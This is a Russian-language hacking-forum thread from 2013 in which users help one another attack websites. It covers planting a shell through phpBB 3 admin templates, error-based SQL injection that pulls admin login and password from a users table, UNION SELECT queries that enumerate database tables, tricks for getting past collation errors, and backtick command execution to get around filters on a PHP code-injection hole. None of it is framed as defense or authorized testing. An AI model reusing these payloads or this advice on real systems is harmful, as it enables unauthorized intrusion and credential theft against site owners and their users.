Ваши вопросы по уязвимостям.

09.03.2013, 16:57

qaz

Познавший АНТИЧАТ

Регистрация: 12.07.2010

Сообщений: 1,546

С нами: 8334326

Репутация: 75

Цитата:

Сообщение от GroM88

Подскажите в чем может быть проблема
Сообственно пытаюсь лить шелл через админку phpbb 3 через стили
Включаю выполнение php кода в шаблонах, иду в шаблоны faq_body.html
впиливаю код
Иду в forum.com/faq.php?c=phpinfo(); пхпинфо не выводится = \
Подскажите почему может не выполнятся пхпкод
права в админке полные, мб можно еще какнить залить?

так вставляй

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]phpinfo[/COLOR][COLOR="#007700"](); [/COLOR][/COLOR]

Цитата:

Сообщение от panfilov1991

Мне реально стыдно! я уже их перечитался!
мне бы пароль админа содрать, или таблицы вывести с БД

так а в чём собственно проблема?

𝕏 Twitter Reddit Telegram Копировать ссылку

09.03.2013, 17:12

GroM88

Познающий

Регистрация: 25.10.2007

Сообщений: 46

С нами: 9761387

Репутация: 2

Цитата:

Сообщение от qaz

так вставляй

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]phpinfo[/COLOR][COLOR="#007700"](); [/COLOR][/COLOR]

ни какого эффекта) ничего не выводит = \

я уже пробовал так)

10.03.2013, 00:49

KolosJey

Новичок

Регистрация: 21.12.2009

Сообщений: 0

С нами: 8625634

Репутация: 0

Цитата:

Сообщение от winstrool

"or(1)group+by(mid((SELECT concat_ws(0x3a,login,pass) FROM users WHERE login=0x41646D696E limit 0,1),rand(0)|0))having(avg(0))or"
там где значение 0x41646D696E это Admin, вам бы мануалы по mysql почитать!

Тебе бы тоже хоть что нибудь почитать, вместо того что бы советы давать.

Цитата:

Сообщение от panfilov1991

Table 'panel.users' doesn't exist

10.03.2013, 01:14

m00c0w

Участник форума

Регистрация: 25.12.2011

Сообщений: 103

С нами: 7569686

Репутация: 5

Цитата:

Сообщение от KolosJey

Тебе бы тоже хоть что нибудь почитать, вместо того что бы советы давать.

он ему запрос дал и посоветовал мускуль подучить, чтоб он сам смог вывести таблицы, а ты тупо "умничаешь."

10.03.2013, 01:50

Always

Познающий

Регистрация: 08.02.2012

Сообщений: 72

С нами: 7504886

Репутация: 0

Делаю такой запрос

1+UnIon+selECt+1,2,3,4,5,6,version(),8,9,10,11,12, 13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 ,30,31,32,33,34,35,36,37,38,39,40,41,42&x=-392&y=-378 true

1+UnIon+selECt+1,2,3,4,5,6,group_concat(table_name ),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 ,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,4 1,42+from+INFORMATION_SCHEMA.TABLES+--+&x=-392&y=-378 false

Выдает

Illegal mix of collations for operation 'UNION'

Как быть?

10.03.2013, 03:09

Га-Ноцри

Постоянный

Регистрация: 16.10.2011

Сообщений: 326

С нами: 7670486

Репутация: 76

Цитата:

Сообщение от Always

Делаю такой запрос
1+UnIon+selECt+1,2,3,4,5,6,version(),8,9,10,11,12, 13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 ,30,31,32,33,34,35,36,37,38,39,40,41,42&x=-392&y=-378 true
1+UnIon+selECt+1,2,3,4,5,6,group_concat(table_name ),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 ,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,4 1,42+from+INFORMATION_SCHEMA.TABLES+--+&x=-392&y=-378 false
Выдает
Illegal mix of collations for operation 'UNION'
Как быть?

Если не ошибаюсь, то такая ошибка обычно связана с проблемами в кодировке. И, судя по всему, в ошибке в вашем случае явно не указана нужная. Если ошибаюсь то меня поправят.

Немного пищи для размышления:

cast(version()+as+binary)

convert(version(),binary)

convert(version()+using+latin1)

convert(version()+using+binary)

aes_decrypt(aes_encrypt(version(),1),1)

unhex(hex(version()))

Попробуйте при выводе нужной информации использовать приведенные выше примеры.

10.03.2013, 03:50

HeaVeNSeR

Новичок

Регистрация: 03.12.2008

Сообщений: 5

С нами: 9176819

Репутация: 1

ребят,хелп ми,плз

есть уязвимость 'PHP Code execution'...выполняются phpinfo(),system(ls) и т.д.....слэшируются кавычки,хотя MQ=Off...всё бы ничего,можно было бы обойти c помощью base64,либо system($_GET[a])...но режутся заглавные....

что можно сделать в данном случае?

10.03.2013, 04:51

Konqi

Постоянный

Регистрация: 24.06.2009

Сообщений: 542

С нами: 8885780

Репутация: 672

Цитата:

Сообщение от HeaVeNSeR

ребят,хелп ми,плз
есть уязвимость 'PHP Code execution'...выполняются phpinfo(),system(ls) и т.д.....слэшируются кавычки,хотя MQ=Off...всё бы ничего,можно было бы обойти c помощью base64,либо system($_GET[a])...но режутся заглавные....
что можно сделать в данном случае?

print(`я консольная команда`);